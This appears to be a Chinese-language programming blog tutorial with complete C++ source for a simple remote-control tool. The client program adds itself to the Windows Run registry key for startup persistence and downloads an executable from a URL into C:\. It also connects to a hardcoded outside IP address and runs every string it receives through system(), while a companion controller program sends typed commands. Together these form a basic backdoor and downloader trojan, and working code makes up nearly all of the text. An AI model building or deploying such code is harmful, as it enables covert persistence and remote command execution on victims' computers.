1. 程式人生 > >C++程式設計之下載者與遠端cmd控制

C++程式設計之下載者與遠端cmd控制

這次做的軟體主要會有三個功能
1.寫開機啟動項
2.下載應用程式
3.遠端控制
先來看一下Client(伺服器端)

// client.cpp : 定義控制檯應用程式的入口點。
//

#include "stdafx.h"
#include<WinSock2.h>
#pragma comment(lib,"ws2_32.lib")


int _tmain(int argc, _TCHAR* argv[])
{
    BOOL bRet = false;
    SOCKET sockServer = INVALID_SOCKET;
    do{
        //接聽電話的步驟
WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))//判斷版本是不是2.2 { break; } //拿手機 sockServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (INVALID_SOCKET == sockServer) { break
; } //拿電話卡 sockaddr_in addrServer = { 0 }; addrServer.sin_family = AF_INET; addrServer.sin_port = htons(18080); //裝電話卡 if (SOCKET_ERROR == bind(sockServer, (SOCKADDR*)&addrServer, sizeof(addrServer))) { break; } //準備接電話
if (SOCKET_ERROR == listen(sockServer, SOMAXCONN)) { break; } //等待電話來 SOCKET sockClient = accept(sockServer, nullptr, nullptr); if (INVALID_SOCKET == sockClient) { break; } char szComment[MAXBYTE] = { 0 }; while (true) { printf("\r\n請輸入指令:"); scanf("%s", szComment); send(sockClient, szComment, strlen(szComment), 0); } //我們這的通話就是傳送指令 bRet = true; } while (false); WSACleanup(); system("pause"); return 0; }
客戶端
// kaijixiazai.cpp : 定義控制檯應用程式的入口點。
//

#include "stdafx.h"
#include<WinSock2.h>//一定要在windows.h之上
#include<Windows.h>
#include <urlmon.h>//下載者需要的標頭檔案

#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"ws2_32.lib")

BOOL kaijiqidong()
{
    HKEY hKey = { 0 };//操作登錄檔的控制代碼
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);//開啟登錄檔
    char sz_path_c[MAXBYTE] = { 0 };//字串
    GetModuleFileNameA(nullptr, sz_path_c, MAXBYTE);//獲取當前軟體的路徑 第一個引數是nullptr代表獲取當前已載入的絕對路徑

    RegSetValueExA(hKey, "zjsxxzh", 0, REG_SZ, (BYTE*)sz_path_c, strlen(sz_path_c));//寫入登錄檔
    return 1;

}
BOOL xiazai()
{
    //下載功能
    wchar_t szUrl[MAXBYTE] = L"http://dldir1.qq.com/qqfile/qq/QQ8.1/17216/QQ8.1.exe";//下載的url
    wchar_t szPath[MAXBYTE] = L"C:\\hahhahaha.exe";//存放的位置
    URLDownloadToFile(nullptr, szUrl, szPath, 0, nullptr);
    return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
    int nInput = 0;
    printf("請輸入您要演示的功能\r\n\t1.設定本程式開機啟動\r\n\t2.下載者功能演示\r\n\t3.遠端桌面\r\t\n");
    scanf_s("%d", &nInput);
    switch (nInput)
    {
    case 1: kaijiqidong();
        break;
    case 2:xiazai();
        break;
    case 3:{
               WSADATA wsaData;
               WSAStartup(MAKEWORD(2, 2), &wsaData);
               if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))//判斷版本是不是2.2
               {
                   break;
               }
               //拿電話
               SOCKET  socketClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
               if (INVALID_SOCKET == socketClient)
               {
                   break;
               }
               //拿地址(電話號碼)
               sockaddr_in addServer = { 0 };
               addServer.sin_family = AF_INET;
               addServer.sin_port = htons(18080);//越大越好
               addServer.sin_addr.S_un.S_addr = inet_addr("103.42.29.10");
               //撥打電話
               if (SOCKET_ERROR == connect(socketClient, (SOCKADDR*)&addServer, sizeof(addServer)))
               {
                   break;
               }
               char szBuffer[50] = { 0 };
               int nRecvLen = 0;
               char szComment[50] = { 0 };
               while (true)
               {
                   nRecvLen = recv(socketClient, szBuffer, 50, 0);
                   if (nRecvLen > 0)
                   {

                       sprintf_s(szComment, 50,"start %s", szBuffer);//sprintf_s( )
                       system(szComment);
                       memset(szBuffer,0, 50);
                       memset(szComment,0, 50);
                   }
               }

    }
        break;
    default:
        break;
    }
    WSACleanup();
    system("pause");
    return 0;
}

特別提示 顯示 scanf不能使用
複製錯誤程式碼到stdafx.h

#define  _CRT_SECURE_NO_WARNINGS